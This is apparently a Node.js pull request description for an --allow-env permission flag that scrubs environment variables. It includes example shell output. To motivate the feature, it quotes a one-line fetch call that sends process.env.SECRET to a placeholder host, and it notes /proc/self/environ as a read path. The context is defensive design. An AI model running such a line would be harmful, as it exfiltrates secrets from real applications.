src,lib: add --allow-env permission - #66132

Necessarily semver-major.

Alternative for a previous attempt in #62827 that stalled out.

When --permission is on, every env var not matched by --allow-env is removed at startup. It takes names, patterns (PREFI_*), or *, repeatable or comma-sep'd.

There are a range of env vars that Node.js itself uses, and a default range that are generally known to be safe in common usage. These are never scrubbed. These include things like NODE_OPTIONS, NODE_EXTRA_CA_CERTS, PATH, HOME, etc.

Env vars can be dropped at runtime after reading using permission.drop(). This is a stronger protection than using process.env.FOO = undefined because it will scrub the env var also from the environment block.

On Linux, the removed entries are overwritten in the initial environment block and fs reads of /proc/*/environ are denied.

On Windows, removal also clears the C runtime's copy of the environ using _wputenv_s

Reading a removed name returns undefined, warns once per name, and publishes to a diagnostics channel.

Env file keys are allowed. If the user had reason to pass in an env file the assumption is they meant to allow them.

File-source config (node.config.json and NODE_OPTIONS from a .env file can only narrow the allow list.

Embedders must call ScrubProcessEnvironment() themselves on startup. This is left up to the embedder to determine the exact timing but needs to be called before startup actually happens.

Child processes are started with --allow-env=*. Those either receive the explicit env they were started with or only the env they inherit from the parent. Since the parent process is scrubbed, it should never be more than what the parent can see.

The key motivation here is that environment variables are the primary mechanism for injecting secrets into applications. These can be trivially exfiltrated using simple one-liners like fetch('...', { headers: { secret: process.env.SECRET } }). Simply unsetting those via process.env.SECRET = undefined is typically not enough since those can still be read from the underlying environment block. This PR provides stronger protection but it obviously cannot be 100% since depending on how it is used, the strings can still be in memory.

The prior attempt to add this in #62827 had a number of flaws that this version addresses. That PR used an incomplete view filter. process.report.getReport(), native addons, FFI,
and /proc/self/environ could all still read the real environment. Scrubbing
before any JavaScript runs protects those paths. This PR also fixes a number of other breaking changes the other PR would have introduced:

• Node.js's own configuration variables are always kept.
• Writes to process.env and process.loadEnvFile() keep working.
• Keys defined in --env-file files are allowed.
• Child processes get --allow-env=*, because the environment they inherit has already been scrubbed.

$ ENV_A=1 ENV_B=2 ./node --permission -pe "process.env"
{
  COLORTERM: 'truecolor',
  TERM_PROGRAM_VERSION: '3.4',
  TMUX: '/tmp/tmux-1000/default,1258,1',
  HOME: '/home/dev',
  LANG: 'C.UTF-8',
  TERM: 'tmux-256color',
  PATH: '/home/dev/bin:/usr/lib/ccache:/opt/rust/cargo/bin:/opt/nvm/versions/node/v26.9.0/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
  TERM_PROGRAM: 'tmux'
}

$ ENV_A=1 ENV_B=2 ./node --permission -pe "process.env" --allow-env=ENV_*
{
  ENV_B: '2',
  ENV_A: '1',
  COLORTERM: 'truecolor',
  TERM_PROGRAM_VERSION: '3.4',
  TMUX: '/tmp/tmux-1000/default,1258,1',
  HOME: '/home/dev',
  LANG: 'C.UTF-8',
  TERM: 'tmux-256color',
  PATH: '/home/dev/bin:/usr/lib/ccache:/opt/rust/cargo/bin:/opt/nvm/versions/node/v26.9.0/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
  TERM_PROGRAM: 'tmux'
}
$